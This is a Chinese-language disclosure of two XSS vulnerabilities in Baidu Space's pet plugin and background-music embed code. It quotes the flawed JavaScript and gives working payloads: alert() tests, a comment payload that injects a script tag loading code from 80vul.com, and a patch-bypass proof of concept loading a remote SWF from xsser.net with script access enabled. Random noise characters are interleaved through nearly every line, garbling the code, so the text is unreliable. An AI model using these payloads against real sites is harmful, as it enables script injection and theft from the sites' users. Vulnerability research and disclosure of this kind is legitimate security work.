百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
/ g: \8 `# c, i" f; ?6 |
! c! w( `7 j$ ?1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
- d1 O8 u' q; i0 Q" I2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
: p* e3 q! a3 A( c
2 E0 H, ]: n6 A% @/ d将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 2 C" f3 a% N' f0 ?
其中BdUtil.insertWBR为 & @5 A1 ]9 X8 y% u* W. ~
function(text, step) {
' l/ Y% R$ ~* S/ L+ R& H6 X var textarea = textAreaCache || getContainer();
8 a" Z* V' W' h( u0 }6 Z9 L, A if (!textarea) { - |" T& M+ q+ K/ t N
return text;
8 C% R% y0 e/ D, o* p! _ } " p: m; `/ D& _7 Z3 U1 R4 v
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
2 }$ r4 `: `1 F5 U var string = textarea.value; . o6 N& D- Q' G0 B0 O2 s0 ~. t
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
. K- h; S9 m- s& Y; Z# X+ W0 i var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
) V/ g" F% u- U4 S' t; [ return result; 1 g* L9 T! l, C: j% K+ F. F
} - A0 j% A1 w* f S# E7 E
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. " J$ j# h6 U. z% B8 ~+ `6 L1 h
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
2 R' A! P' x1 B* O! \& S
6 ]6 r9 n6 h3 f# w二:creatbgmusic() Dom-Xss Bug $ t6 p3 C9 _* P# H! S
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 ' \, j& @, c+ E' O4 }
1 U5 o0 b' O# g9 S
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: + H# [$ T/ c3 g6 x. r! `0 c9 A6 H
, I. c: O B# D, a7 d
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { - d2 \9 a# N, a& j4 V
//传入的murl赋值到bgmusic1和bgmusic2中 % @. ~0 y5 E$ w+ i( b. |. k8 k! b
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 + h# v" ]3 l6 s# i. V
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
" t7 L; D* `3 M# k7 F9 C; i if (musicnum <= 1) { , v# P5 h J3 T$ p& M# \) ]0 C
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; Q4 w0 F' C( X$ q" ?1 R6 s
}
# f O C4 O" g. }0 Z bgmusic1 += "</OBJECT>"; ; a. L- ]" ?6 E! X
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; " W8 h. F% n8 j, W$ k, J
if (musicnum <= 1) { : t6 P, e/ v1 X; p4 J7 I- [/ q
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; / O& i) M* _; E
} & _8 q. |* b9 {! f# g( j
bgmusic2 += "> </EMBED>";
3 t; V. X/ {% [. [: f$ O7 @ var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
7 P9 ^9 x) _ k1 v. C var bgmus = detectWMP();
7 [) g* |7 Z2 p3 b. G8 v5 G if (functype == "FckMusicHelper") { 9 }8 m: y1 v0 B/ s
if (bgmus.installed) {
0 Y( C5 B, q+ R if (bgmus.type == "IE") {
0 G" _6 |4 D# n& i return bgmusic1;
$ P) _: D/ S6 M8 d } else if (bgmus.type == "NS") {
, a* Z4 Y: ~- v$ K8 E" U% C return bgmusic2;
5 D+ p. u3 g: {% d Q } / g) Q+ s7 K# D8 U2 p0 ^" s
} else { : y1 f. V. d! |2 p3 {( O5 d
return bgmusic3; 3 j+ P- M4 ?" D3 i. R% R
} 5 x5 Y: Q8 w+ P
} else {
- g4 S1 T# n# P8 w if (bgmus.installed) { # o# }+ ]! @- D; k. ~# B5 C
//document.write 直接输出bgmusic变量 导致xss 7 F# @2 i f9 ^
if (bgmus.type == "IE") {
; f. T! J4 x( d* J# { document.write(bgmusic1);
' y* n( o& S3 j } else if (bgmus.type == "NS") {
+ D. N& C8 {& w) e document.write(bgmusic2);
4 {% V" A5 _, T1 X: F& f, i! ` } - N3 |2 x# k1 W: P& y
} else { % S8 ?* P+ j+ I" H) }
document.write(bgmusic3);
+ y! H" D+ R- s6 t7 Z" j& R- a }
, i' o# b, l" k+ l( S$ I) \ return ""; 3 V1 M. P. Q% y, X; M. g h
} 6 k& S0 Z: N8 w3 Q4 Q
}
# R& ^; _# V7 Y. ]7 I8 q& \" A6 \, D( r
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: , v' b% _ b/ y* U
; k( L5 f7 P& Q/ n9 g( R. d
function initBlogTextForFCK(){ , _) K% W) O9 N9 q s
//fck init music 0 S" q3 G. K1 A% d
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
# b/ H, n8 S: c0 qvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
0 W0 V# H+ w f! Y, h- i" Yvar isAutoPlay=true;
5 Y. k' P$ M" t/ n7 G4 |8 J6 E' B0 Gfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. - H0 Q# ~$ i0 M( E; x
var img=imgBox; 9 t: X# X+ z1 g
if(img.getAttribute(’rel’)){ , p& E, ~3 _) D6 ?( W* r' ?
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
+ g9 P, i0 U n; y `7 I3 w) ] var musicDiv = document.createElement("SPAN");
& f. p( [8 Q+ o. G var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
: g# a* _6 X: O ) j: f/ F$ N5 F) s
..........................
' l, p& U. S1 N7 ^, t7 J
! E- x1 ]9 z; T( C/ f1 T; n //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
& n0 U& R d! [ var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); & C1 |& D! k+ k
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
7 `" q# O1 D1 i" |! A9 p9 z% r musicDiv.innerHTML=shtml; ( w* o7 F" s$ r3 D' C
i--;n--;
- K) F, c+ l# r7 C5 F0 _ }
$ [5 h, `. ^1 O( ^% O}
/ M* M3 _& G Q0 E2 q* V$ F
3 F. N; a/ q4 T- f4 ~从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
8 o4 D% @6 u2 g' _( ?9 u # ~+ F5 T9 n b* ]# T2 }
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 4 }% L Q3 T/ W( d# Y
5 u1 V4 t1 l Y- v* ^
等待官方补丁 & V: f* Z% I/ ^6 {
6 N1 `. K7 [1 K- d. ~
update 2010年5月13日
9 D0 C$ I5 S1 i3 ]% N4 |' q# H& Y( G; K" z
官方补丁: # y2 E4 Q7 O( V& p- ^& l& Q
; w: t8 V( |* e3 U5 v, `, u
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); * N$ I1 o2 z7 |+ O
改为: E$ y! K- M i+ D
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
$ J7 d( _; _' |5 F
% g0 v2 T3 ^5 K, iupdate 2010年5月13日 21:50:37 ' | j1 ]% |5 F) D& R) D& O/ ^. Z
x# W7 i8 W' f& b补丁存在漏洞 没有过滤" 可以继续跨:
6 V! S7 z; r5 M( f9 [; L2 X* w7 D+ Z# |- q" G
NEW POC:
# _, w: B* {1 r# f5 @6 H" N& K6 `! U4 d! j! D9 L j ]
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
6 a6 }% ?3 H' E. f3 o% d
- J" a+ `- F% ?& F/ g( G: hallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
, q) ]3 t+ ?* l% i, ?* @/ ]6 w * R0 a% b; K- x* v7 K5 m
|